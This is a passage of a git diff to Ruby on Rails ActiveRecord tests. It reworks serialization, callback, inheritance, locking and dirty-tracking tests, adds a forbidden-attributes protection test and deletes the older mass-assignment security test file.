- assert_equal({ :foo => :bar }, t.content_before_type_cast)
- t.save!
- t.reload
- assert_equal({ :foo => :bar }, t.content_before_type_cast)
- end
-
- def test_serialized_attribute_calling_dup_method
- klass = Class.new(ActiveRecord::Base)
- klass.table_name = "topics"
- klass.serialize :content, JSON
-
- t = klass.new(:content => { :foo => :bar }).dup
- assert_equal({ :foo => :bar }, t.content_before_type_cast)
- end
-
- def test_serialized_attribute_declared_in_subclass
- hash = { 'important1' => 'value1', 'important2' => 'value2' }
- important_topic = ImportantTopic.create("important" => hash)
- assert_equal(hash, important_topic.important)
-
- important_topic.reload
- assert_equal(hash, important_topic.important)
- assert_equal(hash, important_topic.read_attribute(:important))
- end
-
- def test_serialized_time_attribute
- myobj = Time.local(2008,1,1,1,0)
- topic = Topic.create("content" => myobj).reload
- assert_equal(myobj, topic.content)
- end
-
- def test_serialized_string_attribute
- myobj = "Yes"
- topic = Topic.create("content" => myobj).reload
- assert_equal(myobj, topic.content)
- end
-
- def test_nil_serialized_attribute_without_class_constraint
- topic = Topic.new
- assert_nil topic.content
- end
-
- def test_nil_not_serialized_without_class_constraint
- assert Topic.new(:content => nil).save
- assert_equal 1, Topic.where(:content => nil).count
- end
-
- def test_nil_not_serialized_with_class_constraint
- Topic.serialize :content, Hash
- assert Topic.new(:content => nil).save
- assert_equal 1, Topic.where(:content => nil).count
- ensure
- Topic.serialize(:content)
- end
-
- def test_should_raise_exception_on_serialized_attribute_with_type_mismatch
- myobj = MyObject.new('value1', 'value2')
- topic = Topic.new(:content => myobj)
- assert topic.save
- Topic.serialize(:content, Hash)
- assert_raise(ActiveRecord::SerializationTypeMismatch) { Topic.find(topic.id).reload.content }
- ensure
- Topic.serialize(:content)
- end
-
- def test_serialized_attribute_with_class_constraint
- settings = { "color" => "blue" }
- Topic.serialize(:content, Hash)
- topic = Topic.new(:content => settings)
- assert topic.save
- assert_equal(settings, Topic.find(topic.id).content)
- ensure
- Topic.serialize(:content)
- end
-
- def test_serialized_default_class
- Topic.serialize(:content, Hash)
- topic = Topic.new
- assert_equal Hash, topic.content.class
- assert_equal Hash, topic.read_attribute(:content).class
- topic.content["beer"] = "MadridRb"
- assert topic.save
- topic.reload
- assert_equal Hash, topic.content.class
- assert_equal "MadridRb", topic.content["beer"]
- ensure
- Topic.serialize(:content)
- end
-
- def test_serialized_no_default_class_for_object
- topic = Topic.new
- assert_nil topic.content
- end
-
- def test_serialized_boolean_value_true
- Topic.serialize(:content)
- topic = Topic.new(:content => true)
- assert topic.save
- topic = topic.reload
- assert_equal topic.content, true
- end
-
- def test_serialized_boolean_value_false
- Topic.serialize(:content)
- topic = Topic.new(:content => false)
- assert topic.save
- topic = topic.reload
- assert_equal topic.content, false
- end
-
- def test_serialize_with_coder
- coder = Class.new {
- # Identity
- def load(thing)
- thing
- end
-
- # base 64
- def dump(thing)
- [thing].pack('m')
- end
- }.new
-
- Topic.serialize(:content, coder)
- s = 'hello world'
- topic = Topic.new(:content => s)
- assert topic.save
- topic = topic.reload
- assert_equal [s].pack('m'), topic.content
- ensure
- Topic.serialize(:content)
- end
-
- def test_serialize_with_bcrypt_coder
- crypt_coder = Class.new {
- def load(thing)
- return unless thing
- BCrypt::Password.new thing
- end
-
- def dump(thing)
- BCrypt::Password.create(thing).to_s
- end
- }.new
-
- Topic.serialize(:content, crypt_coder)
- password = 'password'
- topic = Topic.new(:content => password)
- assert topic.save
- topic = topic.reload
- assert_kind_of BCrypt::Password, topic.content
- assert_equal(true, topic.content == password, 'password should equal')
- ensure
- Topic.serialize(:content)
- end
-
def test_quote
author_name = "\\ \001 ' \n \\n \""
topic = Topic.create('author_name' => author_name)
@@ -1791,26 +1615,32 @@ class BasicsTest < ActiveRecord::TestCase
def test_silence_sets_log_level_to_error_in_block
original_logger = ActiveRecord::Base.logger
- log = StringIO.new
- ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
- ActiveRecord::Base.logger.level = Logger::DEBUG
- ActiveRecord::Base.silence do
- ActiveRecord::Base.logger.warn "warn"
- ActiveRecord::Base.logger.error "error"
+
+ assert_deprecated do
+ log = StringIO.new
+ ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
+ ActiveRecord::Base.logger.level = Logger::DEBUG
+ ActiveRecord::Base.silence do
+ ActiveRecord::Base.logger.warn "warn"
+ ActiveRecord::Base.logger.error "error"
+ end
+ assert_equal "error\n", log.string
end
- assert_equal "error\n", log.string
ensure
ActiveRecord::Base.logger = original_logger
end
def test_silence_sets_log_level_back_to_level_before_yield
original_logger = ActiveRecord::Base.logger
- log = StringIO.new
- ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
- ActiveRecord::Base.logger.level = Logger::WARN
- ActiveRecord::Base.silence do
+
+ assert_deprecated do
+ log = StringIO.new
+ ActiveRecord::Base.logger = ActiveSupport::Logger.new(log)
+ ActiveRecord::Base.logger.level = Logger::WARN
+ ActiveRecord::Base.silence do
+ end
+ assert_equal Logger::WARN, ActiveRecord::Base.logger.level
end
- assert_equal Logger::WARN, ActiveRecord::Base.logger.level
ensure
ActiveRecord::Base.logger = original_logger
end
@@ -1919,7 +1749,7 @@ class BasicsTest < ActiveRecord::TestCase
end
def test_attribute_names
- assert_equal ["id", "type", "ruby_type", "firm_id", "firm_name", "name", "client_of", "rating", "account_id", "description"],
+ assert_equal ["id", "type", "firm_id", "firm_name", "name", "client_of", "rating", "account_id", "description"],
Company.attribute_names
end
diff --git a/activerecord/test/cases/batches_test.rb b/activerecord/test/cases/batches_test.rb
index cdd4b49042..12d5245fbd 100644
--- a/activerecord/test/cases/batches_test.rb
+++ b/activerecord/test/cases/batches_test.rb
@@ -1,8 +1,9 @@
require 'cases/helper'
require 'models/post'
+require 'models/subscriber'
class EachTest < ActiveRecord::TestCase
- fixtures :posts
+ fixtures :posts, :subscribers
def setup
@posts = Post.order("id asc")
@@ -124,4 +125,15 @@ class EachTest < ActiveRecord::TestCase
assert_equal special_posts_ids, posts.map(&:id)
end
+ def test_find_in_batches_should_use_any_column_as_primary_key
+ nick_order_subscribers = Subscriber.order('nick asc')
+ start_nick = nick_order_subscribers.second.nick
+
+ subscribers = []
+ Subscriber.find_in_batches(:batch_size => 1, :start => start_nick) do |batch|
+ subscribers.concat(batch)
+ end
+
+ assert_equal nick_order_subscribers[1..-1].map(&:id), subscribers.map(&:id)
+ end
end
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
index 40e712072f..6cb6c469d2 100644
--- a/activerecord/test/cases/calculations_test.rb
+++ b/activerecord/test/cases/calculations_test.rb
@@ -1,10 +1,11 @@
require "cases/helper"
+require 'models/club'
require 'models/company'
require "models/contract"
-require 'models/topic'
require 'models/edge'
-require 'models/club'
require 'models/organization'
+require 'models/possession'
+require 'models/topic'
Company.has_many :accounts
@@ -576,4 +577,10 @@ class CalculationsTest < ActiveRecord::TestCase
assert_equal ["37signals", nil], companies_and_developers.first
assert_equal ["test", 7], companies_and_developers.last
end
+
+ def test_pluck_with_reserved_words
+ Possession.create!(:where => "Over There")
+
+ assert_equal ["Over There"], Possession.pluck(:where)
+ end
end
diff --git a/activerecord/test/cases/callbacks_test.rb b/activerecord/test/cases/callbacks_test.rb
index deeef3a3fd..7457bafd4e 100644
--- a/activerecord/test/cases/callbacks_test.rb
+++ b/activerecord/test/cases/callbacks_test.rb
@@ -137,6 +137,32 @@ class OnCallbacksDeveloper < ActiveRecord::Base
end
end
+class ContextualCallbacksDeveloper < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ before_validation { history << :before_validation }
+ before_validation :before_validation_on_create_and_update, :on => [ :create, :update ]
+
+ validate do
+ history << :validate
+ end
+
+ after_validation { history << :after_validation }
+ after_validation :after_validation_on_create_and_update, :on => [ :create, :update ]
+
+ def before_validation_on_create_and_update
+ history << "before_validation_on_#{self.validation_context}".to_sym
+ end
+
+ def after_validation_on_create_and_update
+ history << "after_validation_on_#{self.validation_context}".to_sym
+ end
+
+ def history
+ @history ||= []
+ end
+end
+
class CallbackCancellationDeveloper < ActiveRecord::Base
self.table_name = 'developers'
@@ -285,6 +311,17 @@ class CallbacksTest < ActiveRecord::TestCase
], david.history
end
+ def test_validate_on_contextual_create
+ david = ContextualCallbacksDeveloper.create('name' => 'David', 'salary' => 1000000)
+ assert_equal [
+ :before_validation,
+ :before_validation_on_create,
+ :validate,
+ :after_validation,
+ :after_validation_on_create
+ ], david.history
+ end
+
def test_update
david = CallbackDeveloper.find(1)
david.save
@@ -344,6 +381,18 @@ class CallbacksTest < ActiveRecord::TestCase
], david.history
end
+ def test_validate_on_contextual_update
+ david = ContextualCallbacksDeveloper.find(1)
+ david.save
+ assert_equal [
+ :before_validation,
+ :before_validation_on_update,
+ :validate,
+ :after_validation,
+ :after_validation_on_update
+ ], david.history
+ end
+
def test_destroy
david = CallbackDeveloper.find(1)
david.destroy
diff --git a/activerecord/test/cases/connection_adapters/connection_handler_test.rb b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
index 17cb447105..4467ddfc39 100644
--- a/activerecord/test/cases/connection_adapters/connection_handler_test.rb
+++ b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
@@ -4,16 +4,11 @@ module ActiveRecord
module ConnectionAdapters
class ConnectionHandlerTest < ActiveRecord::TestCase
def setup
+ @klass = Class.new { include ActiveRecord::Tag }
+ @subklass = Class.new(@klass) { include ActiveRecord::Tag }
+
@handler = ConnectionHandler.new
- @handler.establish_connection 'america', Base.connection_pool.spec
- @klass = Class.new do
- include Model::Tag
- def self.name; 'america'; end
- end
- @subklass = Class.new(@klass) do
- include Model::Tag
- def self.name; 'north america'; end
- end
+ @handler.establish_connection @klass, Base.connection_pool.spec
end
def test_retrieve_connection
@@ -42,6 +37,8 @@ module ActiveRecord
def test_retrieve_connection_pool_uses_superclass_pool_after_subclass_establish_and_remove
@handler.establish_connection 'north america', Base.connection_pool.spec
+ assert_same @handler.retrieve_connection_pool(@klass),
+ @handler.retrieve_connection_pool(@subklass)
@handler.remove_connection @subklass
assert_same @handler.retrieve_connection_pool(@klass),
diff --git a/activerecord/test/cases/connection_pool_test.rb b/activerecord/test/cases/connection_pool_test.rb
index 8287b35aaf..0718d0886f 100644
--- a/activerecord/test/cases/connection_pool_test.rb
+++ b/activerecord/test/cases/connection_pool_test.rb
@@ -89,7 +89,7 @@ module ActiveRecord
end
def test_full_pool_exception
- assert_raises(PoolFullError) do
+ assert_raises(ConnectionTimeoutError) do
(@pool.size + 1).times do
@pool.checkout
end
diff --git a/activerecord/test/cases/connection_specification/resolver_test.rb b/activerecord/test/cases/connection_specification/resolver_test.rb
index 673a2b2b88..434d2b7ba5 100644
--- a/activerecord/test/cases/connection_specification/resolver_test.rb
+++ b/activerecord/test/cases/connection_specification/resolver_test.rb
@@ -13,7 +13,6 @@ module ActiveRecord
spec = resolve 'mysql://foo?encoding=utf8'
assert_equal({
:adapter => "mysql",
- :database => "",
:host => "foo",
:encoding => "utf8" }, spec)
end
@@ -33,7 +32,6 @@ module ActiveRecord
spec = resolve 'mysql://foo:123?encoding=utf8'
assert_equal({
:adapter => "mysql",
- :database => "",
:port => 123,
:host => "foo",
:encoding => "utf8" }, spec)
diff --git a/activerecord/test/cases/counter_cache_test.rb b/activerecord/test/cases/counter_cache_test.rb
index cd3d19e783..ee443741ca 100644
--- a/activerecord/test/cases/counter_cache_test.rb
+++ b/activerecord/test/cases/counter_cache_test.rb
@@ -8,9 +8,11 @@ require 'models/category'
require 'models/categorization'
require 'models/dog'
require 'models/dog_lover'
+require 'models/person'
+require 'models/friendship'
class CounterCacheTest < ActiveRecord::TestCase
- fixtures :topics, :categories, :categorizations, :cars, :dogs, :dog_lovers
+ fixtures :topics, :categories, :categorizations, :cars, :dogs, :dog_lovers, :people, :friendships
class ::SpecialTopic < ::Topic
has_many :special_replies, :foreign_key => 'parent_id'
@@ -109,4 +111,11 @@ class CounterCacheTest < ActiveRecord::TestCase
Topic.update_counters([t1.id, t2.id], :replies_count => 2)
end
end
+
+ test "reset the right counter if two have the same foreign key" do
+ michael = people(:michael)
+ assert_nothing_raised(ActiveRecord::StatementInvalid) do
+ Person.reset_counters(michael.id, :followers)
+ end
+ end
end
diff --git a/activerecord/test/cases/deprecated_dynamic_methods_test.rb b/activerecord/test/cases/deprecated_dynamic_methods_test.rb
index 392f5f4cd5..dde36e7f72 100644
--- a/activerecord/test/cases/deprecated_dynamic_methods_test.rb
+++ b/activerecord/test/cases/deprecated_dynamic_methods_test.rb
@@ -199,23 +199,7 @@ class DeprecatedDynamicMethodsTest < ActiveRecord::TestCase
assert !new_customer.persisted?
end
- def test_find_or_initialize_from_one_attribute_should_not_set_attribute_even_when_protected
- c = Company.find_or_initialize_by_name({:name => "Fortune 1000", :rating => 1000})
- assert_equal "Fortune 1000", c.name
- assert_not_equal 1000, c.rating
- assert c.valid?
- assert !c.persisted?
- end
-
- def test_find_or_create_from_one_attribute_should_not_set_attribute_even_when_protected
- c = Company.find_or_create_by_name({:name => "Fortune 1000", :rating => 1000})
- assert_equal "Fortune 1000", c.name
- assert_not_equal 1000, c.rating
- assert c.valid?
- assert c.persisted?
- end
-
- def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_protected
+ def test_find_or_initialize_from_one_attribute_should_set_attribute
c = Company.find_or_initialize_by_name_and_rating("Fortune 1000", 1000)
assert_equal "Fortune 1000", c.name
assert_equal 1000, c.rating
@@ -223,7 +207,7 @@ class DeprecatedDynamicMethodsTest < ActiveRecord::TestCase
assert !c.persisted?
end
- def test_find_or_create_from_one_attribute_should_set_attribute_even_when_protected
+ def test_find_or_create_from_one_attribute_should_set_attribute
c = Company.find_or_create_by_name_and_rating("Fortune 1000", 1000)
assert_equal "Fortune 1000", c.name
assert_equal 1000, c.rating
@@ -231,7 +215,7 @@ class DeprecatedDynamicMethodsTest < ActiveRecord::TestCase
assert c.persisted?
end
- def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_protected_and_also_set_the_hash
+ def test_find_or_initialize_from_one_attribute_should_set_attribute_even_when_set_the_hash
c = Company.find_or_initialize_by_rating(1000, {:name => "Fortune 1000"})
assert_equal "Fortune 1000", c.name
assert_equal 1000, c.rating
@@ -239,7 +223,7 @@ class DeprecatedDynamicMethodsTest < ActiveRecord::TestCase
assert !c.persisted?
end
- def test_find_or_create_from_one_attribute_should_set_attribute_even_when_protected_and_also_set_the_hash
+ def test_find_or_create_from_one_attribute_should_set_attribute_even_when_set_the_hash
c = Company.find_or_create_by_rating(1000, {:name => "Fortune 1000"})
assert_equal "Fortune 1000", c.name
assert_equal 1000, c.rating
@@ -247,7 +231,7 @@ class DeprecatedDynamicMethodsTest < ActiveRecord::TestCase
assert c.persisted?
end
- def test_find_or_initialize_should_set_protected_attributes_if_given_as_block
+ def test_find_or_initialize_should_set_attributes_if_given_as_block
c = Company.find_or_initialize_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
assert_equal "Fortune 1000", c.name
assert_equal 1000.to_f, c.rating.to_f
@@ -255,7 +239,7 @@ class DeprecatedDynamicMethodsTest < ActiveRecord::TestCase
assert !c.persisted?
end
- def test_find_or_create_should_set_protected_attributes_if_given_as_block
+ def test_find_or_create_should_set_attributes_if_given_as_block
c = Company.find_or_create_by_name(:name => "Fortune 1000") { |f| f.rating = 1000 }
assert_equal "Fortune 1000", c.name
assert_equal 1000.to_f, c.rating.to_f
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
index 248f4efe3e..9a2a5a4e3c 100644
--- a/activerecord/test/cases/dirty_test.rb
+++ b/activerecord/test/cases/dirty_test.rb
@@ -509,6 +509,16 @@ class DirtyTest < ActiveRecord::TestCase
assert_not_nil pirate.previous_changes['updated_on'][1]
assert !pirate.previous_changes.key?('parrot_id')
assert !pirate.previous_changes.key?('created_on')
+
+ pirate = Pirate.find_by_catchphrase("Ahoy!")
+ pirate.update_attribute(:catchphrase, "Ninjas suck!")
+
+ assert_equal 2, pirate.previous_changes.size
+ assert_equal ["Ahoy!", "Ninjas suck!"], pirate.previous_changes['catchphrase']
+ assert_not_nil pirate.previous_changes['updated_on'][0]
+ assert_not_nil pirate.previous_changes['updated_on'][1]
+ assert !pirate.previous_changes.key?('parrot_id')
+ assert !pirate.previous_changes.key?('created_on')
end
if ActiveRecord::Base.connection.supports_migrations?
@@ -525,6 +535,21 @@ class DirtyTest < ActiveRecord::TestCase
end
end
+ def test_setting_time_attributes_with_time_zone_field_to_same_time_should_not_be_marked_as_a_change
+ in_time_zone 'Paris' do
+ target = Class.new(ActiveRecord::Base)
+ target.table_name = 'pirates'
+
+ created_on = Time.now
+
+ pirate = target.create(:created_on => created_on)
+ pirate.reload # Here mysql truncate the usec value to 0
+
+ pirate.created_on = created_on
+ assert !pirate.created_on_changed?
+ end
+ end
+
private
def with_partial_updates(klass, on = true)
old = klass.partial_updates?
diff --git a/activerecord/test/cases/dup_test.rb b/activerecord/test/cases/dup_test.rb
index 9705a11387..71b2b16608 100644
--- a/activerecord/test/cases/dup_test.rb
+++ b/activerecord/test/cases/dup_test.rb
@@ -49,7 +49,7 @@ module ActiveRecord
dbtopic = Topic.first
topic = Topic.new
- topic.attributes = dbtopic.attributes
+ topic.attributes = dbtopic.attributes.except("id")
#duped has no timestamp values
duped = dbtopic.dup
diff --git a/activerecord/test/cases/explain_subscriber_test.rb b/activerecord/test/cases/explain_subscriber_test.rb
index 91e1df91cd..b425967678 100644
--- a/activerecord/test/cases/explain_subscriber_test.rb
+++ b/activerecord/test/cases/explain_subscriber_test.rb
@@ -38,6 +38,13 @@ if ActiveRecord::Base.connection.supports_explain?
end
end
+ def test_collects_nothing_if_unexplained_sqls
+ with_queries([]) do |queries|
+ SUBSCRIBER.finish(nil, nil, :name => 'SQL', :sql => 'SHOW max_identifier_length')
+ assert queries.empty?
+ end
+ end
+
def with_queries(queries)
Thread.current[:available_queries_for_explain] = queries
yield queries
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
index 20c8e8894d..d44ac21b05 100644
--- a/activerecord/test/cases/finder_test.rb
+++ b/activerecord/test/cases/finder_test.rb
@@ -276,6 +276,7 @@ class FinderTest < ActiveRecord::TestCase
def test_find_only_some_columns
topic = Topic.all.merge!(:select => "author_name").find(1)
assert_raise(ActiveModel::MissingAttributeError) {topic.title}
+ assert_raise(ActiveModel::MissingAttributeError) {topic.title?}
assert_nil topic.read_attribute("title")
assert_equal "David", topic.author_name
assert !topic.attribute_present?("title")
diff --git a/activerecord/test/cases/forbidden_attributes_protection_test.rb b/activerecord/test/cases/forbidden_attributes_protection_test.rb
new file mode 100644
index 0000000000..9a2172f41e
--- /dev/null
+++ b/activerecord/test/cases/forbidden_attributes_protection_test.rb
@@ -0,0 +1,49 @@
+require 'cases/helper'
+require 'active_support/core_ext/hash/indifferent_access'
+require 'models/person'
+
+class ProtectedParams < ActiveSupport::HashWithIndifferentAccess
+ attr_accessor :permitted
+ alias :permitted? :permitted
+
+ def initialize(attributes)
+ super(attributes)
+ @permitted = false
+ end
+
+ def permit!
+ @permitted = true
+ self
+ end
+
+ def dup
+ super.tap do |duplicate|
+ duplicate.instance_variable_set :@permitted, @permitted
+ end
+ end
+end
+
+class ForbiddenAttributesProtectionTest < ActiveRecord::TestCase
+ def test_forbidden_attributes_cannot_be_used_for_mass_assignment
+ params = ProtectedParams.new(first_name: 'Guille', gender: 'm')
+ assert_raises(ActiveModel::ForbiddenAttributesError) do
+ Person.new(params)
+ end
+ end
+
+ def test_permitted_attributes_can_be_used_for_mass_assignment
+ params = ProtectedParams.new(first_name: 'Guille', gender: 'm')
+ params.permit!
+ person = Person.new(params)
+
+ assert_equal 'Guille', person.first_name
+ assert_equal 'm', person.gender
+ end
+
+ def test_regular_hash_should_still_be_used_for_mass_assignment
+ person = Person.new(first_name: 'Guille', gender: 'm')
+
+ assert_equal 'Guille', person.first_name
+ assert_equal 'm', person.gender
+ end
+end
diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb
index 4c6d4666ed..f39111ba77 100644
--- a/activerecord/test/cases/helper.rb
+++ b/activerecord/test/cases/helper.rb
@@ -22,6 +22,8 @@ ActiveSupport::Deprecation.debug = true
# Connect to the database
ARTest.connect
+require 'support/mysql'
+
# Quote "type" if it's a reserved word for the current connection.
QUOTED_TYPE = ActiveRecord::Base.connection.quote_column_name('type')
diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb
index e80259a7f1..8fded9159f 100644
--- a/activerecord/test/cases/inheritance_test.rb
+++ b/activerecord/test/cases/inheritance_test.rb
@@ -5,9 +5,10 @@ require 'models/post'
require 'models/project'
require 'models/subscriber'
require 'models/teapot'
+require 'models/vegetables'
class InheritanceTest < ActiveRecord::TestCase
- fixtures :companies, :projects, :subscribers, :accounts
+ fixtures :companies, :projects, :subscribers, :accounts, :vegetables
def test_class_with_store_full_sti_class_returns_full_name
old = ActiveRecord::Base.store_full_sti_class
@@ -122,9 +123,17 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_alt_inheritance_find
- switch_to_alt_inheritance_column
- test_inheritance_find
- switch_to_default_inheritance_column
+ assert_kind_of Cucumber, Vegetable.find(1)
+ assert_kind_of Cucumber, Cucumber.find(1)
+ assert_kind_of Cabbage, Vegetable.find(2)
+ assert_kind_of Cabbage, Cabbage.find(2)
+ end
+
+ def test_alt_becomes_works_with_sti
+ vegetable = Vegetable.find(1)
+ assert_kind_of Vegetable, vegetable
+ cabbage = vegetable.becomes(Cabbage)
+ assert_kind_of Cabbage, cabbage
end
def test_inheritance_find_all
@@ -134,9 +143,9 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_alt_inheritance_find_all
- switch_to_alt_inheritance_column
- test_inheritance_find_all
- switch_to_default_inheritance_column
+ companies = Vegetable.all.merge!(:order => 'id').to_a
+ assert_kind_of Cucumber, companies[0]
+ assert_kind_of Cabbage, companies[1]
end
def test_inheritance_save
@@ -149,9 +158,11 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_alt_inheritance_save
- switch_to_alt_inheritance_column
- test_inheritance_save
- switch_to_default_inheritance_column
+ cabbage = Cabbage.new(:name => 'Savoy')
+ cabbage.save!
+
+ savoy = Vegetable.find(cabbage.id)
+ assert_kind_of Cabbage, savoy
end
def test_inheritance_condition
@@ -161,9 +172,9 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_alt_inheritance_condition
- switch_to_alt_inheritance_column
- test_inheritance_condition
- switch_to_default_inheritance_column
+ assert_equal 4, Vegetable.count
+ assert_equal 1, Cucumber.count
+ assert_equal 3, Cabbage.count
end
def test_finding_incorrect_type_data
@@ -172,9 +183,8 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_alt_finding_incorrect_type_data
- switch_to_alt_inheritance_column
- test_finding_incorrect_type_data
- switch_to_default_inheritance_column
+ assert_raise(ActiveRecord::RecordNotFound) { Cucumber.find(2) }
+ assert_nothing_raised { Cucumber.find(1) }
end
def test_update_all_within_inheritance
@@ -185,9 +195,9 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_alt_update_all_within_inheritance
- switch_to_alt_inheritance_column
- test_update_all_within_inheritance
- switch_to_default_inheritance_column
+ Cabbage.update_all "name = 'the cabbage'"
+ assert_equal "the cabbage", Cabbage.first.name
+ assert_equal ["my cucumber"], Cucumber.all.map(&:name).uniq
end
def test_destroy_all_within_inheritance
@@ -197,9 +207,9 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_alt_destroy_all_within_inheritance
- switch_to_alt_inheritance_column
- test_destroy_all_within_inheritance
- switch_to_default_inheritance_column
+ Cabbage.destroy_all
+ assert_equal 0, Cabbage.count
+ assert_equal 1, Cucumber.count
end
def test_find_first_within_inheritance
@@ -209,9 +219,9 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_alt_find_first_within_inheritance
- switch_to_alt_inheritance_column
- test_find_first_within_inheritance
- switch_to_default_inheritance_column
+ assert_kind_of Cabbage, Vegetable.all.merge!(:where => "name = 'his cabbage'").first
+ assert_kind_of Cabbage, Cabbage.all.merge!(:where => "name = 'his cabbage'").first
+ assert_nil Cucumber.all.merge!(:where => "name = 'his cabbage'").first
end
def test_complex_inheritance
@@ -225,9 +235,13 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_alt_complex_inheritance
- switch_to_alt_inheritance_column
- test_complex_inheritance
- switch_to_default_inheritance_column
+ king_cole = KingCole.create("name" => "uniform heads")
+ assert_equal king_cole, KingCole.where("name = 'uniform heads'").first
+ assert_equal king_cole, GreenCabbage.all.merge!(:where => "name = 'uniform heads'").first
+ assert_equal king_cole, Cabbage.all.merge!(:where => "name = 'uniform heads'").first
+ assert_equal king_cole, Vegetable.all.merge!(:where => "name = 'uniform heads'").first
+ assert_equal 1, Cabbage.all.merge!(:where => "name = 'his cabbage'").to_a.size
+ assert_equal king_cole, Cabbage.find(king_cole.id)
end
def test_eager_load_belongs_to_something_inherited
@@ -235,6 +249,11 @@ class InheritanceTest < ActiveRecord::TestCase
assert account.association_cache.key?(:firm), "nil proves eager load failed"
end
+ def test_alt_eager_loading
+ cabbage = RedCabbage.all.merge!(:includes => :seller).find(4)
+ assert cabbage.association_cache.key?(:seller), "nil proves eager load failed"
+ end
+
def test_eager_load_belongs_to_primary_key_quoting
con = Account.connection
assert_sql(/#{con.quote_table_name('companies')}.#{con.quote_column_name('id')} IN \(1\)/) do
@@ -242,12 +261,6 @@ class InheritanceTest < ActiveRecord::TestCase
end
end
- def test_alt_eager_loading
- switch_to_alt_inheritance_column
- test_eager_load_belongs_to_something_inherited
- switch_to_default_inheritance_column
- end
-
def test_inherits_custom_primary_key
assert_equal Subscriber.primary_key, SpecialSubscriber.primary_key
end
@@ -256,21 +269,6 @@ class InheritanceTest < ActiveRecord::TestCase
assert_kind_of SpecialSubscriber, SpecialSubscriber.find("webster132")
assert_nothing_raised { s = SpecialSubscriber.new("name" => "And breaaaaathe!"); s.id = 'roger'; s.save }
end
-
- private
- def switch_to_alt_inheritance_column
- # we don't want misleading test results, so get rid of the values in the type column
- Company.all.merge!(:order => 'id').to_a.each do |c|
- c['type'] = nil
- c.save
- end
- [ Company, Firm, Client].each { |klass| klass.reset_column_information }
- Company.inheritance_column = 'ruby_type'
- end
- def switch_to_default_inheritance_column
- [ Company, Firm, Client].each { |klass| klass.reset_column_information }
- Company.inheritance_column = 'type'
- end
end
@@ -290,7 +288,7 @@ class InheritanceComputeTypeTest < ActiveRecord::TestCase
def test_instantiation_doesnt_try_to_require_corresponding_file
ActiveRecord::Base.store_full_sti_class = false
foo = Firm.first.clone
- foo.ruby_type = foo.type = 'FirmOnTheFly'
+ foo.type = 'FirmOnTheFly'
foo.save!
# Should fail without FirmOnTheFly in the type condition.
diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb
index afb0bd6fd9..2392516395 100644
--- a/activerecord/test/cases/locking_test.rb
+++ b/activerecord/test/cases/locking_test.rb
@@ -3,6 +3,7 @@ require "cases/helper"
require 'models/person'
require 'models/job'
require 'models/reader'
+require 'models/ship'
require 'models/legacy_thing'
require 'models/reference'
require 'models/string_key_object'
@@ -18,8 +19,8 @@ class LockWithCustomColumnWithoutDefault < ActiveRecord::Base
self.locking_column = :custom_lock_version
end
-class ReadonlyFirstNamePerson < Person
- attr_readonly :first_name
+class ReadonlyNameShip < Ship
+ attr_readonly :name
end
class OptimisticLockingTest < ActiveRecord::TestCase
@@ -200,15 +201,15 @@ class OptimisticLockingTest < ActiveRecord::TestCase
end
def test_readonly_attributes
- assert_equal Set.new([ 'first_name' ]), ReadonlyFirstNamePerson.readonly_attributes
+ assert_equal Set.new([ 'name' ]), ReadonlyNameShip.readonly_attributes
- p = ReadonlyFirstNamePerson.create(:first_name => "unchangeable name")
- p.reload
- assert_equal "unchangeable name", p.first_name
+ s = ReadonlyNameShip.create(:name => "unchangeable name")
+ s.reload
+ assert_equal "unchangeable name", s.name
- p.update_attributes(:first_name => "changed name")
- p.reload
- assert_equal "unchangeable name", p.first_name
+ s.update_attributes(:name => "changed name")
+ s.reload
+ assert_equal "unchangeable name", s.name
end
def test_quote_table_name
diff --git a/activerecord/test/cases/mass_assignment_security_test.rb b/activerecord/test/cases/mass_assignment_security_test.rb
deleted file mode 100644
index a36b2c2506..0000000000
--- a/activerecord/test/cases/mass_assignment_security_test.rb
+++ /dev/null
@@ -1,966 +0,0 @@
-require "cases/helper"
-require 'models/company'
-require 'models/subscriber'
-require 'models/keyboard'
-require 'models/task'
-require 'models/person'
-
-
-module MassAssignmentTestHelpers
- def setup
- # another AR test modifies the columns which causes issues with create calls
- TightPerson.reset_column_information
- LoosePerson.reset_column_information
- end
-
- def attributes_hash
- {
- :id => 5,
- :first_name => 'Josh',
- :gender => 'm',
- :comments => 'rides a sweet bike'
- }
- end
-
- def assert_default_attributes(person, create = false)
- unless create
- assert_nil person.id
- else
- assert !!person.id
- end
- assert_equal 'Josh', person.first_name
- assert_equal 'm', person.gender
- assert_nil person.comments
- end
-
- def assert_admin_attributes(person, create = false)
- unless create
- assert_nil person.id
- else
- assert !!person.id
- end
- assert_equal 'Josh', person.first_name
- assert_equal 'm', person.gender
- assert_equal 'rides a sweet bike', person.comments
- end
-
- def assert_all_attributes(person)
- assert_equal 5, person.id
- assert_equal 'Josh', person.first_name
- assert_equal 'm', person.gender
- assert_equal 'rides a sweet bike', person.comments
- end
-
- def with_strict_sanitizer
- ActiveRecord::Base.mass_assignment_sanitizer = :strict
- yield
- ensure
- ActiveRecord::Base.mass_assignment_sanitizer = :logger
- end
-end
-
-module MassAssignmentRelationTestHelpers
- def setup
- super
